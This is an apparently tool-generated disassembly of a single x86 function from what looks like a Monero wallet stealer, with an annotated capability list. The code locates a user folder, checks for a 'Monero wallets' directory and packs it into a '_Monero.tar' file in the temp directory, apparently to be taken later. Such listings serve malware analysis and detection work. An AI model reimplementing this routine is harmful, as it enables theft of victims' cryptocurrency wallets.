Function at 0x100a89d0
Capabilities:
Check if file exists
Get common file path
Get file attributes
Get startup folder

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
sub esp, 0x498
mov eax, dword [0x100fc008]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
sub esp, 0x18
mov ecx, esp
call fcn.10083c70
lea ecx, [ebp - 0x478]
call fcn.10083fa0
add esp, 0x18
lea eax, [ebp - 0x110]
push eax
push 0
push 0
push 5
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
lea ecx, [ebp - 0x110]
mov dword [ebp - 0x480], 0
mov dword [ebp - 0x47c], 0xf
lea edx, [ecx + 1]
mov byte [ebp - 0x490], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x100a8a50
sub ecx, edx
lea eax, [ebp - 0x110]
push ecx
push eax
lea ecx, [ebp - 0x490]
call fcn.100af160
push 0x100f72fc
lea ecx, [ebp - 0x490]
call fcn.100ae850
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x460], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x450], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov edx, dword [ebp - 0x47c]
cmp edx, 0x10
jb 0x100a8ade
mov ecx, dword [ebp - 0x490]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a8ad4
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a8f46
push edx
push ecx
call fcn.100baf94
add esp, 8
push str.Monerowallets_
lea ecx, [ebp - 0x460]
mov dword [ebp - 0x480], 0
mov dword [ebp - 0x47c], 0xf
mov byte [ebp - 0x490], 0
call fcn.100ae850
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x440], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x430], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov edx, dword [ebp - 0x44c]
cmp edx, 0x10
jb 0x100a8b6b
mov ecx, dword [ebp - 0x460]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a8b61
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a8f4b
push edx
push ecx
call fcn.100baf94
add esp, 8
mov edi, dword [ebp - 0x468]
lea ecx, [ebp - 0x490]
mov dword [ebp - 0x480], 0
mov dword [ebp - 0x47c], 0xf
mov byte [ebp - 0x490], 0
lea eax, [edi + 7]
push eax
call fcn.100b1a80
cmp dword [ebp - 0x464], 0x10
lea ecx, [ebp - 0x478]
mov esi, dword [ebp - 0x47c]
mov eax, esi
cmovae ecx, dword [ebp - 0x478]
mov edx, dword [ebp - 0x480]
sub eax, edx
push edi
push ecx
cmp edi, eax
ja 0x100a8bf0
lea eax, [edx + edi]
cmp esi, 0x10
mov dword [ebp - 0x480], eax
lea eax, [ebp - 0x490]
cmovae eax, dword [ebp - 0x490]
lea esi, [eax + edx]
push esi
call fcn.100be470
add esp, 0xc
mov byte [esi + edi], 0
jmp 0x100a8c09
mov byte [ebp - 0x494], 0
lea ecx, [ebp - 0x490]
push dword [ebp - 0x494]
push edi
call fcn.100b0560
mov esi, dword [ebp - 0x478]
lea ecx, [ebp - 0x490]
push str._Monero
call fcn.100ae850
push str..tar
lea ecx, [ebp - 0x490]
call fcn.100ae850
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x460], xmm0
movq xmm0, qword [eax + 0x10]
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov edx, dword [ebp - 0x47c]
movq qword [ebp - 0x450], xmm0
cmp edx, 0x10
jb 0x100a8c91
mov ecx, dword [ebp - 0x490]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a8c87
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a8f50
push edx
push ecx
call fcn.100baf94
add esp, 8
lea eax, [ebp - 0x408]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea ecx, [ebp - 0x408]
mov dword [ebp - 0x480], 0
mov dword [ebp - 0x47c], 0xf
lea edx, [ecx + 1]
mov byte [ebp - 0x490], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x100a8cc7
sub ecx, edx
lea eax, [ebp - 0x408]
push ecx
push eax
lea ecx, [ebp - 0x490]
call fcn.100af160
lea eax, [ebp - 0x460]
push eax
lea edx, [ebp - 0x490]
lea ecx, [ebp - 0x420]
call fcn.100af660
mov edx, dword [ebp - 0x47c]
add esp, 4
cmp edx, 0x10
jb 0x100a8d38
mov ecx, dword [ebp - 0x490]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a8d2e
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a8f55
push edx
push ecx
call fcn.100baf94
add esp, 8
cmp dword [ebp - 0x42c], 0x10
lea eax, [ebp - 0x440]
cmovae eax, dword [ebp - 0x440]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x100a8e1d
test al, 0x10
je 0x100a8e1d
sub esp, 0x18
mov ecx, esp
push 3
push 0x100f7b58
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
mov byte [ecx], 0
call fcn.100af160
sub esp, 0x18
lea eax, [ebp - 0x420]
mov ecx, esp
push eax
call fcn.100ae9d0
sub esp, 0x18
lea eax, [ebp - 0x440]
mov ecx, esp
push eax
call fcn.100ae9d0
call fcn.10085920
cmp dword [ebp - 0x40c], 0x10
lea eax, [ebp - 0x420]
push 0x100f7320
cmovae eax, dword [ebp - 0x420]
push eax
call fcn.100c4b2d
add esp, 0x50
test eax, eax
je 0x100a8e1d
push eax
call fcn.100c4bbb
sub esp, 0x14
lea eax, [ebp - 0x460]
mov ecx, esp
push eax
call fcn.100ae9d0
sub esp, 0x18
lea eax, [ebp - 0x420]
mov ecx, esp
push eax
call fcn.100ae9d0
call fcn.10085c50
cmp dword [ebp - 0x40c], 0x10
lea eax, [ebp - 0x420]
cmovae eax, dword [ebp - 0x420]
push eax
call fcn.100c4dc5
add esp, 0x34
mov edx, dword [ebp - 0x40c]
cmp edx, 0x10
jb 0x100a8e57
mov ecx, dword [ebp - 0x420]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a8e4d
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a8f5a
push edx
push ecx
call fcn.100baf94
add esp, 8
mov edx, dword [ebp - 0x44c]
mov dword [ebp - 0x410], 0
mov dword [ebp - 0x40c], 0xf
mov byte [ebp - 0x420], 0
cmp edx, 0x10
jb 0x100a8eac
mov ecx, dword [ebp - 0x460]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a8ea2
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a8f5a
push edx
push ecx
call fcn.100baf94
add esp, 8
mov edx, dword [ebp - 0x42c]
cmp edx, 0x10
jb 0x100a8ee6
mov ecx, dword [ebp - 0x440]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a8edc
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a8f5a
push edx
push ecx
call fcn.100baf94
add esp, 8
mov eax, dword [ebp - 0x464]
mov dword [ebp - 0x430], 0
mov dword [ebp - 0x42c], 0xf
mov byte [ebp - 0x440], 0
cmp eax, 0x10
jb 0x100a8f33
lea ecx, [eax + 1]
mov eax, esi
cmp ecx, 0x1000
jb 0x100a8f29
mov esi, dword [esi - 4]
add ecx, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a8f5a
push ecx
push esi
call fcn.100baf94
add esp, 8
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.100baa39
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.100c79a0
call fcn.100c79a0
call fcn.100c79a0
call fcn.100c79a0
call fcn.100c79a0
int3